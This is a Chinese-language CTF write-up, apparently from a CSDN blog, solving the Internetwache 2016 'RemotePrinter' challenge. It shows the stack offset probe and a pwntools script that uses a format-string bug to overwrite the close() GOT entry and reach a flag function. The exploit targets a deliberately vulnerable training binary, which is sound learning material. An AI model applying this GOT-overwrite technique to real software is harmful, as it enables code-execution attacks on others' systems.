CTF-Internetwache2016-exp-RemotePrinter

CTF-Internetwache2016-exp-RemotePrinter

自今天开始在csdn记录下有些感想或是某些解题过程。以前只在csdn查询、下载资料,没有想到记录。
Ps:心态爆炸,这个笔记本动一下卡7秒是什么鬼哦

  • 查看给出的二进制文件,file RemotePrinter check.sh --file RemotePrinter
    RemotePrinter: ELF 32-bit LSB executableRemotePrinter: ELF 32-bit LSB executable
    No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH RemotePrinter

  • 拖进虚拟机跑一下,观察行为,同时拖进IDA Pro看看逻辑

虚拟机运行结果

IDA Pro

ψ(`∇´)ψ,找到了,熟悉的printf(&addr),看来突破口就是这里啦~
不熟悉的朋友可以参考下这个PDF:Format String Exploitation-Tutorial

  • 再去虚拟机试试,找找这个值是栈上第几个参数,同时在IDA里面看strings table,发现一个函数

flag

python -c "print 'ABCD'+'.%p'*10" | nc -l 4444
得到这个东西
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:4444
Thank you, I'm trying to print 127.0.0.1:4444 now!
ABCD.0xffbda85c.0x2000.(nil).(nil).(nil).(nil).0x44434241.0x2e70252e.0x252e7025.0x70252e70

    #!/usr/bin/env python
    from pwn import *
    RemoteP=ELF('./RemotePrinter')
    close_addr=RemoteP.got['close']
    v_str=p32(close_addr)+p32(close_addr+2)

    flag_addr=0x08048867
    head_h=0x0804-8    #len(close_addr)=8
    tail_h=0x8867-head_h-8

    v_str+="%{}c%8$hn%{}c%7$hn".format(head_h, tail_h) #little endian,首先覆写高位字节,即地址的前2字节
    print v_str
  • 好,再来一次看看效果
    python Re.py | nv -l 4444

    YAY, FLAG: Thanks:)

    本地实验,我把flag.txt内容换了…….

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值